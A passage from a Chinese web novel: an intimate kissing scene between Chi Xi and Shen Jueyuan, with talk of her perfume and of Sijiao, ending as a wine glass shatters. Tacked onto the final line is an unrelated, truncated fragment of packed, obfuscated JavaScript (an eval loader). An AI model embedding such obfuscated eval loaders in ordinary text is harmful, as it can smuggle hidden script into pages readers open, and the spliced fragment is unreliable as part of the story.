己的舌头侵入她的口腔。
柔软湿润的口腔,只有那么一点空间,挤占着两条舌头。
“最近闻不到了。”他的舌头从她被搅-弄得一塌糊涂的口腔内离开,唇贴着她的唇,鼻尖抵着她的鼻尖轻蹭。
宽大的手掌仍旧轻轻摩挲抚摸着她的后脑勺。说话时,轻微的喘息声很性感。
“什么?”池溪被这个持续很久的法式湿吻弄到丧失思考能力。
“香水味。”他说,“换香水了吗?”
呼吸了新鲜的氧气之后,池溪的理智逐渐恢复:“没有换.....因为还有很多,想着用完了再说。”
她其实还挺喜欢这个味道的,虽然被沈决远刻薄的打上廉价标签。
“是吗。”他低头在她脖子上吻了吻,他的声音沙哑冷淡,却意有所指,“看来只有我闻不到。”
池溪也低头去闻,那股香味明明很明显。她就算不低头也能闻到,更何况是直接靠近喷过香水的脖子。
那种香甜的味道非常直接地进入了鼻腔。
“你和司桥最近怎么样?”手边放着醒好的红酒,以及两只透明的高脚杯,其中一杯已经喝了大半。沈决远拿起酒杯喝了一口,淡定自若的切换了话题。
“呃....”因为最近对沈司桥做的那些报复行为让池溪在提到他的时候有些心虚,“我和他挺好的呀,我们本来就认识很久了。”
为了撇清自己和最近发生在沈司桥身上的那些怪异事情的关系,池溪极力表现出他们关系很好的样子。
“我第一次来北城就认识他了,那个时候我只有十八岁,所以认识很久了,我们.....”
桌上的酒杯不小心掉到地上,玻璃碎屑和红酒摔了一地。破碎的声音打断了池溪接下来要说的话。
池溪天生牛马命,居然下意识要去打扫。但被沈决远阻止,他面无表情:“放着吧,等结束了会有人进来打扫。”
她捕捉到这句话里的关键信息。
——等结束了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String))